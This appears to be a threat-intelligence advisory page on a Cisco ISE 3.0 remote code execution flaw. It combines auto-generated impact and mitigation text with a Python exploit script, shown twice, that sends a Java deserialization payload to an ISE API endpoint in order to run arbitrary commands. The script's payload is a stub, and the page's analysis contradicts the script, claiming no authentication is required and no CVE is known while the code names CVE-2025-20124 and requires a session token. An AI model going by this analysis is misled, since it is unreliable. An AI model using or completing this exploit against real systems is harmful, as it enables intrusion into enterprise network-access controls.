Cisco ISE 3.0 - Remote Code Execution (RCE)
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a critical remote code execution vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a network policy management and access control platform widely deployed in enterprise environments to enforce security policies and manage network access. The vulnerability enables an attacker to remotely execute arbitrary code on the affected system without requiring authentication or user interaction, which significantly increases the attack surface and ease of exploitation. The exploit is publicly available in Python, indicating that attackers can leverage this code to compromise vulnerable systems rapidly. Although no active exploitation has been confirmed, the critical severity and availability of exploit code suggest imminent risk. The lack of detailed technical specifics such as CVE identifiers, affected components, or patch information implies this is a newly disclosed or zero-day vulnerability. The absence of patch links means organizations must rely on interim mitigations and heightened monitoring until official fixes are released. Given Cisco ISE's role in controlling network access and enforcing security policies, successful exploitation could lead to unauthorized network access, data breaches, lateral movement within networks, and disruption of enterprise security controls. This vulnerability poses a significant threat to organizations that depend on Cisco ISE 3.0 for their network security infrastructure.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be severe. Compromise of Cisco ISE systems can lead to unauthorized access to critical network segments, undermining network segmentation and security policy enforcement. This can facilitate further attacks such as data exfiltration, credential theft, and lateral movement within corporate networks. Organizations in sectors such as finance, government, telecommunications, and critical infrastructure, which heavily rely on Cisco ISE for secure network access, face heightened risks. Disruption or manipulation of network access controls could result in operational downtime, regulatory non-compliance, and significant financial and reputational damage. The availability of exploit code increases the likelihood of exploitation, potentially leading to widespread attacks across European enterprises. Moreover, the strategic importance of Cisco ISE in securing enterprise networks means that attackers could leverage this vulnerability to target sensitive data and critical services, amplifying the threat landscape in Europe.
Mitigation Recommendations
In the absence of official patches, European organizations should implement immediate mitigations to reduce exposure. These include isolating Cisco ISE 3.0 instances from untrusted networks and restricting administrative access to trusted management networks only. Deploy network-level controls such as firewalls and intrusion prevention systems (IPS) to monitor and block suspicious traffic targeting Cisco ISE. Enable detailed logging and continuous monitoring of Cisco ISE systems to detect anomalous activities indicative of exploitation attempts. Organizations should also review and tighten access control policies and credentials associated with Cisco ISE. Applying virtual patching via web application firewalls (WAF) or network segmentation can help mitigate risk temporarily. It is critical to stay updated with Cisco security advisories and apply official patches or updates immediately upon release. Conducting internal vulnerability assessments and penetration testing focused on Cisco ISE deployments can help identify and remediate weaknesses proactively. Finally, educating security teams about the exploit and ensuring incident response plans are prepared for potential exploitation scenarios will enhance organizational resilience.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden, Belgium
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import base64 import urllib3 urllib3.disable_warnings() def banner(): print(r""" _________ .__ \_ ___ \|__| ______ ____ ____ / \ \/| |/ ___// ___\/ _ \ \ \___| |\___ \\ \__( <_> ) \______ /__/____ >\___ >____/ \/ \/ \/ Cisco ISE Java Deserialization RCE CVE-2025-20124 Author: ibrahmsql | github.com/ibrahmsql """) def build_serialize_payload(cmd): """ Java deserialization payload builder """ java_cmd = cmd.replace('"', '\\"') # Placeholder serialization - gerçek exploit için gadget chain gerekli payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")' return base64.b64encode(payload.encode()).decode() def exploit_deserialization(base_url, session_token, cmd): """ CVE-2025-20124: Java Deserialization RCE """ endpoint = f"{base_url}/api/v1/admin/deserializer" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } payload = build_serialize_payload(cmd) data = {"object": payload} print(f"[+] Target: {base_url}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Command: {cmd}") print(f"[+] Sending deserialization payload...") try: r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Payload successfully sent!") print("[+] Command possibly executed!") if r.text: print(f"[+] Response: {r.text[:500]}") elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") elif r.status_code == 404: print("[-] Endpoint not found - target may not be vulnerable") else: print(f"[-] Unexpected response: {r.status_code}") print(f"[-] Response: {r.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id" python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami" """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--cmd", required=True, help="Command to execute via deserialization") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) exploit_deserialization(args.url, args.session, args.cmd) if __name__ == "__main__": main()
Cisco ISE 3.0 - Remote Code Execution (RCE)
Description
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a critical remote code execution vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a network policy management and access control platform widely deployed in enterprise environments to enforce security policies and manage network access. The vulnerability enables an attacker to remotely execute arbitrary code on the affected system without requiring authentication or user interaction, which significantly increases the attack surface and ease of exploitation. The exploit is publicly available in Python, indicating that attackers can leverage this code to compromise vulnerable systems rapidly. Although no active exploitation has been confirmed, the critical severity and availability of exploit code suggest imminent risk. The lack of detailed technical specifics such as CVE identifiers, affected components, or patch information implies this is a newly disclosed or zero-day vulnerability. The absence of patch links means organizations must rely on interim mitigations and heightened monitoring until official fixes are released. Given Cisco ISE's role in controlling network access and enforcing security policies, successful exploitation could lead to unauthorized network access, data breaches, lateral movement within networks, and disruption of enterprise security controls. This vulnerability poses a significant threat to organizations that depend on Cisco ISE 3.0 for their network security infrastructure.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be severe. Compromise of Cisco ISE systems can lead to unauthorized access to critical network segments, undermining network segmentation and security policy enforcement. This can facilitate further attacks such as data exfiltration, credential theft, and lateral movement within corporate networks. Organizations in sectors such as finance, government, telecommunications, and critical infrastructure, which heavily rely on Cisco ISE for secure network access, face heightened risks. Disruption or manipulation of network access controls could result in operational downtime, regulatory non-compliance, and significant financial and reputational damage. The availability of exploit code increases the likelihood of exploitation, potentially leading to widespread attacks across European enterprises. Moreover, the strategic importance of Cisco ISE in securing enterprise networks means that attackers could leverage this vulnerability to target sensitive data and critical services, amplifying the threat landscape in Europe.
Mitigation Recommendations
In the absence of official patches, European organizations should implement immediate mitigations to reduce exposure. These include isolating Cisco ISE 3.0 instances from untrusted networks and restricting administrative access to trusted management networks only. Deploy network-level controls such as firewalls and intrusion prevention systems (IPS) to monitor and block suspicious traffic targeting Cisco ISE. Enable detailed logging and continuous monitoring of Cisco ISE systems to detect anomalous activities indicative of exploitation attempts. Organizations should also review and tighten access control policies and credentials associated with Cisco ISE. Applying virtual patching via web application firewalls (WAF) or network segmentation can help mitigate risk temporarily. It is critical to stay updated with Cisco security advisories and apply official patches or updates immediately upon release. Conducting internal vulnerability assessments and penetration testing focused on Cisco ISE deployments can help identify and remediate weaknesses proactively. Finally, educating security teams about the exploit and ensuring incident response plans are prepared for potential exploitation scenarios will enhance organizational resilience.
Affected Countries
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Technical Details
- Edb Id
- 52396
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Remote Code Execution (RCE)
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys imp... (3280 more characters)
Threat ID: 689a95b8ad5a09ad002b09b2
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:42:01 AM
Last updated: 11/11/2025, 4:07:17 PM
Views: 137
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